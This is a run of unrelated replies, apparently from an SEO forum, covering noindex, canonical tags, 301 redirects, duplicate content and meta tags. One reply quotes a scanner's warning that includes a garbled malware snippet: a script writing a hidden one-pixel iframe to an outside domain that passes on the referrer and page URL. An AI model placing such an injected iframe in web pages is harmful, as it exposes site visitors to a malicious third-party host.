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Alex is correct, but would add, they also look at ip number, so hosting in the actual country is a good idea, if not you can set the country in GWMT

no, dont no index, if you do you will lose all link juice flowing into those pages. first choice dont do anything, there is no penalty, the duplicate at worst will be ignored. if you want to make sure your home page is not seen as the duplicate use a canonical tag. if you ever no index a page, dont do it with robots, but if for some reason you have to, use a neta tag "noindex, follow" so link juice can be returned. But i find very few occasions when you should no index.

Thanks guys.  The site does have 2 wordpress blogs, but the warnings are coming from hard coded (by me) static pages. sitecheck.sucuri.net gave me this warning when my site was scanned: ****Known javascript malware.  Details: ****http://sucuri.net/malware/malware-entry-mwiframehd20 <scriptlanguage=javascript>document.write(<iframesrc=http: frankwsgoldie.in="" showads.php?2&seoref="encodeURIComponent(document.referrer)&HTTP_REFERER=encodeURIComponent(document.URL)width=1height=1frameborder=0">);</iframesrc=http:></scriptlanguage=javascript> I can't see that code anywhere on my site!

The general rule is to always 301 redirect the page to the closest match page on your website. I would never just delete an old page as even the least popular pages have page authority over time. Secondly it never looks good to land on a 404, rather land on a similar page or the home page. So 301, every time. Once Google has removed the page from the index then and only then can you delete the page.  (however if it has lots of links then 301 is still the way to go)

Here's an updated video (April 2011) from Matt Cutts that addresses adding a lot of pages all at once: http://www.youtube.com/watch?feature=player_detailpage&v=XpJacspWz4Y#t=130s

Thanks for helping everyone. We rewrote content for a few websites, and no-indexed a few. It's not worth the risk. We can rewrite URL structure in the future, but I think rewriting the content has solved the issue.

Thank you for the resource Nakul. Utah Tiger

EGOL is right on. I would also think about what %age of your blog posts have search engine traffic ? Look at last 30/60/90 days maybe ? Is there any seasonal content ? Factor all those things and then decide. In a lot of cases, it makes sense to update them. Sometimes delete them and redirect them to an updated/newer article. It might also sometimes make sense to merge multiple similar topic articles. Think from a user's perspective and not SE perspective and you'll be good as long as you are thinking about SEO best-practices, which it sounds like you are.

I agree with Matt.  Rewrite the content. .... but, if these sites belonged to me I would probably merge them and put my entire attack into the stronger of the two.

It depends on what those 60 articles are about... It looks like some of them can be expanded into larger guides: "How to choose a woman's surfboard" Make this page oodles bigger with pretty images & several links to the best top 5 brands of women's surfboards. Then with the more specific ones like longboard surfboards again expand it to just ad more images more text and make that page bigger. You can totally take two general blah articles and edit them so that each one is more specifc and less general by adding text images tags and adding to the the copy.

I know this isn't exactly what you're saying, but you indirectly gave me a good idea. I could find a good image and hold a contest to have our customers come up with a caption.

The first meta tag refers to the Internet Explorer - you can read about it a bit more here: http://blogs.msdn.com/b/ie/archive/2008/06/10/introducing-ie-emulateie7.aspx The other meta tags are referring to the size of the view port - based on the condition whether the device that is used to preview the page is a mobile device or not. You can also see the meta title and description tags: <title><data:blog.pageTitle/></title> Meta description is wrapped with the conditional statement. My suggestion would be to remove these lines: <title><data:blog.pageTitle/></title> And place your standard meta title and description above: Hopefully this should solve your problem.

I agree with what has been said here, I do not think there is a "sweet spot" as far as number of words goes but the article needs to be long enough to give useful information. That being said it is difficult to imagine to many articles that are less than 300 words that would be of interest and use to the reader. My suggestion would be to find sites that you think give excellent useful information (maybe like seomoz) and see what the average length of their articles are, but always think what does the reader get from this article and how am I helping them.

Are you distributing those press releases to others sites (via RSS)? In other words, do they appear on outside sites in their identical form? If so, you could use rel-canonical cross-domain or a syndication-source tag and point your copies to the original press releases. That should help offset any duplicate content issues. It will keep you from ranking directly for those press releases, though. It really depends on the goals/scope. It's not uncommon to cross-post press releases, and if you're talking about one a month or so on a site with dozens of pages (or more), it's not a big issue. If you're talking about 100s of press releases, then you could certainly run into trouble.

I already quit it guys! Thanks a lot for advices!

I'm using the "All in One SEO" plugin and checked  the option to no follow tags and archives.